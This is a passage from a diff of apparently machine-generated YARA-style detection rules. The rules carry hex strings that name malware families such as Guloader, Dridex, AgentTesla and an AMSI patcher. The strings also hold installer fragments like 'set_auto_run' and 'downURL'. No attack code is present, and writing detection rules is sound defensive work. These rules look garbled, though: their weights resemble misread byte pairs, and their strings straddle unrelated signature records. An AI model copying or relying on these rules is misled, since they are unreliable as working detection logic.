72 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //25972 - $a_6c_2 = {61 64 65 72 2e 4b 55 55 5a 31 32 33 21 4d 54 42 00 01 00 09 81 01 63 6f 6e 63 72 65 74 65 73 01 00 16 81 01 6f 75 74 64 65 76 69 6c 65 64 20 6d 69 63 72 6f 64 6f 6d 61 69 6e 01 00 06 81 01 64 65 63 61 6e 65 01 00 18 81 01 73 70 65 65 64 69 6e 67 6c 79 20 74 6f 6e 69 74 72 6f 70 68 6f 62 69 61 01 00 16 81 01 75 6e 63 6c 65 61 6e 73 61 62 6c 65 20 70 } //18223 - $a_61_3 = {69 73 74 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 42 31 32 33 21 4d 54 42 00 01 00 06 81 01 73 6d 69 73 6b 65 01 00 06 81 01 42 65 73 6b 72 65 01 00 1d 81 01 41 6e 74 69 6d 79 73 74 69 63 69 73 6d 20 44 6f 63 74 72 69 6e 61 69 72 65 2e 65 78 65 01 00 0b } //25970 - $a_71_4 = {61 74 74 65 72 64 6f 6d 01 00 1f 81 01 46 65 6a 6c 6b 69 6c 64 65 73 20 53 68 65 70 68 65 72 64 6c 79 20 4d 69 73 6c 65 61 72 6e 73 00 00 78 96 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 } //385 + $a_6c_2 = {61 64 65 72 2e 47 4e 51 30 31 21 4d 54 42 00 01 00 14 81 01 72 76 65 68 61 6c 65 20 6f 76 65 72 62 61 6c 61 6e 63 65 64 01 00 1b 81 01 70 72 65 63 65 73 73 69 6f 6e 73 20 73 6b 69 66 74 65 6e 67 6c 65 72 2e 65 78 65 01 00 0e 81 01 6f 70 6c 61 64 65 6e 64 65 73 20 75 67 65 01 00 0e 81 01 65 72 68 76 65 72 76 73 6b 75 72 73 75 73 01 00 0a 81 01 72 65 } //18223 + $a_65_3 = {69 6e 67 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 55 5a 31 32 33 21 4d 54 42 00 01 00 09 81 01 63 6f 6e 63 72 65 74 65 73 01 00 16 81 01 6f 75 74 64 65 76 69 6c 65 64 20 6d 69 63 72 6f 64 6f 6d 61 69 6e 01 00 06 81 01 64 65 63 61 6e 65 01 00 18 81 01 73 70 65 65 64 69 6e 67 6c 79 } //28261 + $a_6e_4 = {74 72 6f 70 68 6f 62 69 61 01 00 16 81 01 75 6e 63 6c 65 61 6e 73 61 62 6c 65 20 70 72 65 6c 61 74 69 73 74 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 42 31 32 33 21 4d 54 42 00 01 00 06 81 01 73 6d 69 73 6b 65 01 00 06 81 01 42 65 73 6b 72 65 01 00 1d 81 01 41 6e } //29728 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_6c_2 & 1)*18223+(#a_61_3 & 1)*25970+(#a_71_4 & 1)*385) >=5 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_6c_2 & 1)*18223+(#a_65_3 & 1)*28261+(#a_6e_4 & 1)*29728) >=5 } -rule _InfrastructureShared_10260{ +rule _InfrastructureShared_10919{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 51 30 31 21 4d 54 42 00 01 00 14 81 01 72 76 65 68 61 6c 65 20 6f 76 65 72 62 61 6c 61 6e 63 65 64 01 00 1b 81 01 70 72 65 63 65 73 73 69 6f 6e 73 20 73 6b 69 66 74 65 6e 67 6c 65 72 2e 65 78 65 } //18467 + $a_81_1 = {6f 70 6c 61 64 65 6e 64 65 73 20 75 67 65 } //1 opladendes uge + $a_81_2 = {65 72 68 76 65 72 76 73 6b 75 72 73 75 73 } //1 erhvervskursus + $a_81_3 = {72 65 65 6e 74 65 72 69 6e 67 } //1 reentering + $a_96_4 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 55 5a 31 32 33 21 4d 54 42 00 01 00 09 81 01 63 6f 6e 63 72 65 74 65 73 01 00 16 81 01 6f 75 74 64 65 76 69 6c 65 64 20 6d 69 63 72 6f 64 6f 6d 61 69 6e 01 00 06 81 01 64 65 63 61 6e 65 01 00 18 81 01 73 70 65 65 64 69 6e 67 6c 79 20 74 6f 6e 69 74 72 6f 70 68 6f 62 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_96_4 & 1)*0) >=5 + +} +rule _InfrastructureShared_10920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 55 5a 31 32 33 21 4d 54 42 00 01 00 09 81 01 63 6f 6e 63 72 65 74 65 73 01 00 16 81 01 6f 75 74 64 65 76 69 6c 65 64 20 6d 69 63 72 6f 64 6f 6d 61 69 6e 01 00 06 81 01 64 65 63 61 6e 65 01 00 18 } //18467 $a_70_1 = {65 64 69 6e 67 6c 79 20 74 6f 6e 69 74 72 6f 70 68 6f 62 69 61 01 00 16 81 01 75 6e 63 6c 65 61 6e 73 61 62 6c 65 20 70 72 65 6c 61 74 69 73 74 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 42 31 32 33 21 4d 54 42 00 01 00 06 81 01 73 6d 69 73 6b 65 01 00 06 81 01 42 65 73 6b 72 } //385 - $a_74_3 = {6d 79 73 74 69 63 69 73 6d 20 44 6f 63 74 72 69 6e 61 69 72 65 2e 65 78 65 01 00 0b 81 01 53 71 75 61 74 74 65 72 64 6f 6d 01 00 1f 81 01 46 65 6a 6c 6b 69 6c 64 65 73 20 53 68 65 70 68 65 72 64 6c 79 20 4d 69 73 6c 65 61 72 6e 73 00 00 78 96 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 } //16641 - $a_69_4 = {33 32 2f 4b 75 70 69 6e 67 00 01 00 07 01 4b 55 50 49 4e 47 00 01 00 0c 01 73 65 74 5f 61 75 74 6f 5f 72 75 6e 01 00 08 01 00 63 70 61 00 62 69 7a 01 00 0b 01 4b 70 63 6c 69 63 6b 2e 69 6e 69 01 00 09 01 6b 75 70 69 6e 67 2e 63 63 01 00 07 01 64 6f 77 6e 55 52 } //14962 + $a_74_3 = {6d 79 73 74 69 63 69 73 6d 20 44 6f 63 74 72 69 6e 61 69 72 65 2e 65 78 65 01 00 0b 81 01 53 71 75 61 74 74 65 72 64 6f 6d 01 00 1f 81 01 46 65 6a 6c 6b 69 6c 64 65 73 20 53 68 65 70 68 65 72 64 6c 79 20 4d 69 73 6c 65 61 72 6e 73 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 } //16641 + $a_52_4 = {21 4d 54 42 00 01 00 0d 81 01 4f 6d 6e 69 63 61 75 73 61 6c 69 74 79 01 00 11 81 01 6e 65 74 74 6f 73 61 6c 67 73 70 72 69 73 65 6e 73 01 00 12 81 01 66 6f 72 6d 75 6c 65 72 69 6e 67 73 65 76 6e 65 6e 73 01 00 14 81 01 4c } //21038 condition: - ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*385+(#a_74_3 & 1)*16641+(#a_69_4 & 1)*14962) >=5 + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*385+(#a_74_3 & 1)*16641+(#a_52_4 & 1)*21038) >=5 } -rule _InfrastructureShared_10261{ +rule _InfrastructureShared_10921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 42 31 32 33 21 4d 54 42 00 01 00 06 81 01 73 6d 69 73 6b 65 01 00 06 81 01 42 65 73 6b 72 65 01 00 1d 81 01 41 6e 74 69 6d 79 73 74 69 63 69 73 6d 20 44 6f 63 74 72 69 6e 61 69 72 65 2e 65 78 } //18467 - $a_71_2 = {61 74 74 65 72 64 6f 6d 01 00 1f 81 01 46 65 6a 6c 6b 69 6c 64 65 73 20 53 68 65 70 68 65 72 64 6c 79 20 4d 69 73 6c 65 61 72 6e 73 00 00 78 96 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 } //385 - $a_75_3 = {69 6e 67 00 01 00 07 01 4b 55 50 49 4e 47 00 01 00 0c 01 73 65 74 5f 61 75 74 6f 5f 72 75 6e 01 00 08 01 00 63 70 61 00 62 69 7a 01 00 0b 01 4b 70 63 6c 69 63 6b 2e 69 6e 69 01 00 09 01 6b 75 70 69 6e 67 2e 63 63 01 00 07 01 } //12082 - $a_6e_4 = {52 4c 01 00 16 01 25 73 3f 69 64 3d 25 73 26 63 6c 61 73 73 3d 73 69 6c 65 6e 63 65 00 00 05 00 78 96 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 69 64 65 78 2e 52 54 48 21 4d 54 42 00 01 00 0a 81 01 50 6f 6c 79 6c 69 6e 65 54 6f 01 00 1a 81 01 47 65 74 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 47 72 } //28516 + $a_71_2 = {61 74 74 65 72 64 6f 6d 01 00 1f 81 01 46 65 6a 6c 6b 69 6c 64 65 73 20 53 68 65 70 68 65 72 64 6c 79 20 4d 69 73 6c 65 61 72 6e 73 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 52 31 21 } //385 + $a_00_3 = {01 00 0d 81 01 4f 6d 6e 69 63 61 75 73 61 6c 69 74 79 01 00 11 81 01 6e 65 74 74 6f 73 61 6c 67 73 70 72 69 73 65 6e 73 01 00 12 81 01 66 6f 72 6d 75 6c 65 72 69 6e 67 73 65 76 6e 65 6e 73 01 00 14 } //21581 + $a_73_4 = {69 6e 67 73 6d 6f 64 65 6c 6c 65 72 73 2e 67 69 66 01 00 12 81 01 61 62 6f 6e 6e 65 6d 65 6e 74 73 6b 6c 75 62 62 65 6e 00 00 78 96 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 } //385 condition: - ((#a_54_0 & 1)*18467+(#a_71_2 & 1)*385+(#a_75_3 & 1)*12082+(#a_6e_4 & 1)*28516) >=5 + ((#a_54_0 & 1)*18467+(#a_71_2 & 1)*385+(#a_00_3 & 1)*21581+(#a_73_4 & 1)*385) >=5 } -rule _InfrastructureShared_10262{ +rule _InfrastructureShared_10922{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 52 31 21 4d 54 42 00 01 00 0d 81 01 4f 6d 6e 69 63 61 75 73 61 6c 69 74 79 01 00 11 81 01 6e 65 74 74 6f 73 61 6c 67 73 70 72 69 73 65 6e 73 01 00 12 81 01 66 6f 72 6d 75 6c 65 72 69 6e 67 73 65 } //18467 + $a_6e_1 = {01 00 14 81 01 4c 73 6e 69 6e 67 73 6d 6f 64 65 6c 6c 65 72 73 2e 67 69 66 01 00 12 81 01 61 62 6f 6e 6e 65 6d 65 6e 74 73 6b 6c 75 62 62 65 6e 00 00 78 96 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4b 75 70 69 6e 67 00 01 00 07 01 4b } //28278 + $a_4e_2 = {00 01 00 0c 01 73 65 74 5f 61 75 74 6f 5f 72 75 6e 01 00 08 01 00 63 70 61 00 62 69 7a 01 00 0b 01 4b 70 63 6c 69 63 6b 2e 69 6e 69 01 00 09 01 6b 75 70 69 6e 67 2e 63 63 01 00 07 01 64 6f 77 6e 55 52 4c 01 00 16 01 25 } //20565 + $a_64_3 = {25 73 26 63 6c 61 73 73 3d 73 69 6c 65 6e 63 65 00 00 05 00 78 96 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 69 64 65 78 2e 52 54 48 21 4d 54 42 00 01 00 0a 81 01 50 6f 6c 79 6c 69 6e 65 54 6f 01 00 1a 81 01 47 65 74 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 } //16243 + $a_75_4 = {01 00 07 81 01 6c 33 32 2e 64 6c 6c 01 00 08 81 01 57 49 74 77 6c 74 68 6f 01 00 0e 81 01 4e 65 74 55 73 65 72 53 65 74 49 6e 66 6f 01 00 0e 00 44 24 34 20 65 6c 66 c7 44 24 38 20 45 58 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 55 73 65 57 6d 69 00 01 00 0d 80 01 57 69 6e 33 32 5f 50 72 6f 63 } //29255 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28278+(#a_4e_2 & 1)*20565+(#a_64_3 & 1)*16243+(#a_75_4 & 1)*29255) >=5 + +} +rule _InfrastructureShared_10923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -111442,12 +118744,13 @@ rule _InfrastructureShared_10262{ $a_70_2 = {6e 67 2e 63 63 01 00 07 01 64 6f 77 6e 55 52 4c 01 00 16 01 25 73 3f 69 64 3d 25 73 26 63 6c 61 73 73 3d 73 69 6c 65 6e 63 65 00 00 05 00 78 96 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 69 64 65 78 2e 52 54 48 21 4d 54 42 00 01 00 0a 81 01 50 6f 6c 79 6c 69 6e 65 54 6f 01 00 1a 81 01 47 65 74 53 65 63 75 } //27393 $a_79_3 = {65 73 63 72 69 70 74 6f 72 47 72 6f 75 70 01 00 07 81 01 6c 33 32 2e 64 6c 6c 01 00 08 81 01 57 49 74 77 6c 74 68 6f 01 00 0e 81 01 4e 65 74 55 73 65 72 53 65 74 49 6e 66 6f 01 00 0e 00 44 24 34 20 65 6c 66 c7 44 24 38 20 45 58 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 55 73 65 57 6d 69 00 01 00 0d 80 01 57 } //26994 $a_32_4 = {50 72 6f 63 65 73 73 01 00 0b 80 01 43 6f 6d 6d 61 6e 64 4c 69 6e 65 01 00 0b 80 01 52 65 74 75 72 6e 56 61 6c 75 65 01 00 19 80 01 50 72 6f 63 65 73 73 } //28265 - $a_72_5 = {75 70 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 14 80 01 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 53 74 61 72 74 75 70 01 00 0a 80 01 53 68 6f 77 57 69 6e 64 6f 77 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 41 6d 73 69 70 61 74 63 68 2e 41 32 00 01 00 0f 02 ba 92 } //29779 + $a_72_5 = {75 70 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 14 80 01 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 53 74 61 72 74 75 70 01 00 0a 80 01 53 68 6f 77 57 69 6e 64 6f 77 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4d 5a 30 31 21 4d 54 42 00 } //29779 + $a_81_6 = {41 66 70 72 65 73 6e 69 6e 67 65 6e 2e 69 6e 69 } //1 Afpresningen.ini condition: - ((#a_54_0 & 1)*18467+(#a_70_2 & 1)*27393+(#a_79_3 & 1)*26994+(#a_32_4 & 1)*28265+(#a_72_5 & 1)*29779) >=5 + ((#a_54_0 & 1)*18467+(#a_70_2 & 1)*27393+(#a_79_3 & 1)*26994+(#a_32_4 & 1)*28265+(#a_72_5 & 1)*29779+(#a_81_6 & 1)*1) >=5 } -rule _InfrastructureShared_10263{ +rule _InfrastructureShared_10924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -111456,27 +118759,55 @@ rule _InfrastructureShared_10263{ $a_6c_1 = {32 } //-32505 2 $a_6c_2 = {00 08 81 01 57 49 74 77 6c 74 68 6f 01 00 0e 81 01 4e 65 74 55 73 65 72 53 65 74 49 6e 66 6f 01 00 0e 00 44 24 34 20 65 6c 66 c7 44 24 38 20 45 58 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 55 73 65 57 6d 69 00 01 00 0d 80 01 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 01 00 0b 80 01 43 6f } //25646 $a_6e_3 = {4c 69 6e 65 01 00 0b 80 01 52 65 74 75 72 6e 56 61 6c 75 65 01 00 19 80 01 50 72 6f 63 65 73 73 53 74 61 72 74 75 70 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 14 80 01 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 53 74 61 72 74 75 70 01 00 0a 80 01 53 68 6f 77 57 69 6e 64 6f 77 00 00 78 96 00 00 06 } //28013 - $a_48_5 = {54 52 3a 57 69 6e 36 34 2f 41 6d 73 69 70 61 74 63 68 2e 41 32 00 01 00 0f 02 ba 92 00 00 00 4c 8d 90 01 } //8448 + $a_48_5 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4d 5a 30 31 21 4d 54 42 00 01 00 10 81 01 41 66 } //8448 condition: ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*-32505+(#a_6c_2 & 1)*25646+(#a_6e_3 & 1)*28013+(#a_48_5 & 1)*8448) >=6 } -rule _InfrastructureShared_10264{ +rule _InfrastructureShared_10925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 49 6e 74 65 6e 74 54 6f 55 73 65 57 6d 69 00 01 00 0d 80 01 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 01 00 0b 80 01 43 6f 6d 6d 61 6e 64 4c 69 6e 65 01 00 0b 80 01 52 65 74 75 72 6e 56 61 6c 75 65 01 00 19 80 01 50 72 6f 63 65 73 73 53 74 61 72 74 } //18467 - $a_6e_1 = {6f 72 6d 61 74 69 6f 6e 01 00 14 80 01 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 53 74 61 72 74 75 70 01 00 0a 80 01 53 68 6f 77 57 69 6e 64 6f 77 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f } //28789 - $a_69_2 = {61 74 63 68 2e 41 32 00 01 00 0f 02 ba 92 00 00 00 4c 8d 90 01 05 48 8b cf 90 00 01 00 0f 02 ba 89 00 00 00 4c 8d 90 01 05 48 8b cf 90 00 01 00 0e 02 48 8b cf 4c 8d 90 01 05 8d 50 74 e8 90 00 01 00 11 02 44 8b c8 4c 8d 90 01 05 8d 50 70 48 8b cf e8 90 00 01 00 11 02 44 8b c8 4c 8d 90 01 05 8d 50 6d 48 8b cf e8 90 00 01 00 0e 02 48 8b cf 4c 8d } //27969 - $a_8d_3 = {69 e8 90 00 00 } //400 - $a_00_4 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4c 53 41 31 21 4d 54 42 00 01 00 0c 81 01 48 69 5f 42 75 74 5f 43 6c 69 63 6b 01 00 09 81 01 59 54 4d 44 6f 74 4e 65 74 01 00 06 81 01 48 61 74 68 6f 72 01 00 07 81 01 52 65 76 65 72 73 65 01 00 09 81 01 67 65 74 5f 41 53 43 49 49 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 } //30720 - $a_00_5 = {00 08 00 08 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 41 75 74 43 68 6b 4f 76 65 72 6c 79 2e 42 41 00 02 00 04 00 50 4f 53 54 02 00 10 00 48 74 74 70 53 65 6e 64 52 65 71 75 65 73 74 41 02 00 29 01 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c 72 70 63 6e 65 74 70 02 00 1b 00 53 74 61 72 74 53 65 72 76 69 63 65 43 74 72 6c 44 69 73 70 61 74 63 68 65 72 41 00 } //30720 + $a_6e_1 = {6f 72 6d 61 74 69 6f 6e 01 00 14 80 01 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 53 74 61 72 74 75 70 01 00 0a 80 01 53 68 6f 77 57 69 6e 64 6f 77 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //28789 + $a_6f_2 = {64 65 72 2e 4c 4d 5a 30 31 21 4d 54 42 00 01 00 10 81 01 41 66 70 72 65 73 6e 69 6e 67 65 6e 2e 69 6e 69 01 00 0b 81 01 68 75 64 66 6c 65 74 2e 6a 70 67 01 00 0c 81 01 63 72 61 6e 65 6d 65 6e 2e 73 74 72 01 00 0a 81 01 67 61 73 6f 76 6e 2e 69 6e 69 01 00 08 81 01 6b 69 67 67 65 72 65 6e 01 00 17 81 01 61 6e 61 6c 79 73 65 } //30023 + $a_6e_3 = {69 70 70 65 72 6e 65 2e 65 78 65 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4a 31 21 4d 54 42 00 01 00 0f 81 01 64 65 72 6d 61 74 6f 73 6b 65 6c 65 74 6f 6e 01 00 0e 81 01 64 65 6c 65 67 61 74 6f 72 79 2e 65 78 65 01 00 0c 81 01 46 6f 6c 6b 65 72 65 } //29296 + $a_6b_4 = {01 00 0b 81 01 4d 61 6b 72 6f 73 6b 65 6c 69 63 01 00 0e 81 01 67 6f 6e 69 6f 64 6f 72 69 64 69 64 61 65 01 00 0f 81 01 53 74 72 61 66 61 66 73 6f 6e 65 72 31 36 35 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 41 6d 73 } //11892 + $a_74_5 = {68 2e 41 32 00 01 00 0f 02 ba 92 00 00 00 4c 8d 90 01 05 48 8b cf 90 00 01 00 0f 02 ba 89 00 00 00 4c 8d 90 01 05 48 8b cf 90 00 01 00 0e 02 48 8b cf 4c 8d 90 01 05 8d 50 74 e8 90 00 01 00 11 02 44 8b c8 4c 8d 90 01 05 8d 50 70 48 8b cf e8 90 00 01 00 11 02 44 8b c8 4c 8d 90 01 05 8d 50 6d } //28777 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28789+(#a_69_2 & 1)*27969+(#a_8d_3 & 1)*400+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28789+(#a_6f_2 & 1)*30023+(#a_6e_3 & 1)*29296+(#a_6b_4 & 1)*11892+(#a_74_5 & 1)*28777) >=6 } -rule _InfrastructureShared_10265{ +rule _InfrastructureShared_10926{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4d 5a 30 31 21 4d 54 42 00 01 00 10 81 01 41 66 70 72 65 73 6e 69 6e 67 65 6e 2e 69 6e 69 01 00 0b 81 01 68 75 64 66 6c 65 74 2e 6a 70 67 01 00 0c 81 01 63 72 61 6e 65 6d 65 6e 2e 73 74 72 01 00 0a } //18467 + $a_61_1 = {6f 76 6e 2e 69 6e 69 01 00 08 81 01 6b 69 67 67 65 72 65 6e 01 00 17 81 01 61 6e 61 6c 79 73 65 70 72 69 6e 63 69 70 70 65 72 6e 65 2e 65 78 65 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4a 31 21 4d 54 42 00 01 00 0f 81 01 64 65 72 6d 61 74 6f } //385 + $a_6c_2 = {74 6f 6e 01 00 0e 81 01 64 65 6c 65 67 61 74 6f 72 79 2e 65 78 65 01 00 0c 81 01 46 6f 6c 6b 65 72 65 74 2e 53 6b 6f 01 00 0b 81 01 4d 61 6b 72 6f 73 6b 65 6c 69 63 01 00 0e 81 01 67 6f 6e 69 6f 64 6f 72 69 64 69 64 61 65 01 00 0f 81 01 53 74 72 61 66 61 66 73 6f 6e 65 72 31 36 35 00 00 78 96 00 00 06 } //27507 + $a_48_4 = {54 52 3a 57 69 6e 36 34 2f 41 6d 73 69 70 61 74 63 68 2e 41 32 00 01 00 0f 02 ba 92 00 00 00 4c 8d 90 01 } //8448 + $a_cf_5 = {00 01 00 0f 02 ba 89 00 00 00 4c 8d 90 01 05 48 8b cf 90 00 01 00 0e 02 48 8b cf 4c 8d 90 01 05 8d 50 74 e8 90 00 01 00 11 02 44 8b c8 4c 8d 90 01 05 8d 50 70 48 8b cf e8 90 00 01 00 11 02 44 8b c8 4c 8d 90 01 05 8d 50 6d 48 8b cf e8 90 00 01 00 0e 02 48 8b cf 4c 8d 90 01 05 8d 50 69 e8 90 00 00 00 78 96 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 } //18437 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*385+(#a_6c_2 & 1)*27507+(#a_48_4 & 1)*8448+(#a_cf_5 & 1)*18437) >=6 + +} +rule _InfrastructureShared_10927{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4a 31 21 4d 54 42 00 01 00 0f 81 01 64 65 72 6d 61 74 6f 73 6b 65 6c 65 74 6f 6e 01 00 0e 81 01 64 65 6c 65 67 61 74 6f 72 79 2e 65 78 65 01 00 0c 81 01 46 6f 6c 6b 65 72 65 74 2e 53 6b 6f 01 00 } //18467 + $a_4d_1 = {6b } //-32501 k + $a_6b_2 = {6c 69 63 01 00 0e 81 01 67 6f 6e 69 6f 64 6f 72 69 64 69 64 61 65 01 00 0f 81 01 53 74 72 61 66 61 66 73 6f 6e 65 72 31 36 35 00 00 78 96 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 41 6d 73 69 70 61 74 63 68 2e 41 32 00 01 00 0f 02 ba 92 00 00 00 4c 8d 90 01 05 48 8b cf 90 00 01 00 0f 02 ba 89 00 00 00 4c 8d 90 01 05 48 8b } //28530 + $a_48_4 = {cf 4c } //3584 + $a_05_5 = {8d } //-28531 + condition: + ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*-32501+(#a_6b_2 & 1)*28530+(#a_48_4 & 1)*3584+(#a_05_5 & 1)*-28531) >=6 + +} +rule _InfrastructureShared_10928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -111491,7 +118822,7 @@ rule _InfrastructureShared_10265{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-29364+(#a_01_2 & 1)*1792+(#a_41_3 & 1)*29541+(#a_21_4 & 1)*23118+(#a_00_5 & 1)*28526) >=6 } -rule _InfrastructureShared_10266{ +rule _InfrastructureShared_10929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -111507,7 +118838,7 @@ rule _InfrastructureShared_10266{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25974+(#a_64_2 & 1)*25939+(#a_34_3 & 1)*28265+(#a_65_4 & 1)*29806+(#a_57_5 & 1)*28257+(#a_25_6 & 1)*21569) >=7 } -rule _InfrastructureShared_10267{ +rule _InfrastructureShared_10930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -111518,7 +118849,7 @@ rule _InfrastructureShared_10267{ ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*23661) >=8 } -rule _InfrastructureShared_10268{ +rule _InfrastructureShared_10931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 